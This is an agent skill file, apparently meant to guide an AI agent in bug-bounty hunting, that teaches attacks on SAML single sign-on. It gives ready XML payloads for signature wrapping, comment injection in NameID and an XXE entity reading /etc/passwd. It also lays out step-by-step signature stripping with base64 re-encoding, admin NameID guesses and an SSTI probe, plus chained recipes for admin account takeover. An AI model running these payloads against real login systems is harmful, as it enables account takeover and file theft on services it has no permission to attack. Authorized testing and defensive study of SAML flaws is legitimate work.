hunt-saml— agent skill

20. SAML / SSO ATTACKS

SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.

Attack Surface

# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

Attack 1: XML Signature Wrapping (XSW)

<!-- BEFORE: valid assertion by [email protected] -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

<!-- XML strips comments before passing to app -->
<NameID>admin<!---->@company.com</NameID>
<!-- Signature computed over: "[email protected]" (with comment) -->
<!-- App receives: "[email protected]" (comment stripped) -->
<!-- Works when signer and processor handle comments differently -->

Attack 3: Signature Stripping

1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to [email protected]
4. Re-encode: cat saml.xml | gzip | base64 -w0 (or just base64 -w0)
5. Submit — if server doesn't verify signature presence = admin ATO

Attack 4: XXE in SAML Assertion

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>

Attack 5: NameID Manipulation

Test these NameID values:
- [email protected] (generic admin)
- [email protected]
- [email protected]
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)

Tools

# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter

SAML Triage

XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

Related Skills & Chains

• `hunt-ato` — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with [email protected] in primary position + SP processes first assertion (the evil one) + SP doesn't validate <AudienceRestriction> so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
• `hunt-auth-bypass` — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip <ds:Signature> element entirely → modify <NameID> to admin → re-encode base64 → POST to /saml/acs → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
• `hunt-oauth` — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
• `hunt-xxe` — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without disallow-doctype-decl + <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> in assertion + <NameID>&xxe;</NameID> → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
• `security-arsenal` — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
• `triage-validation` — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.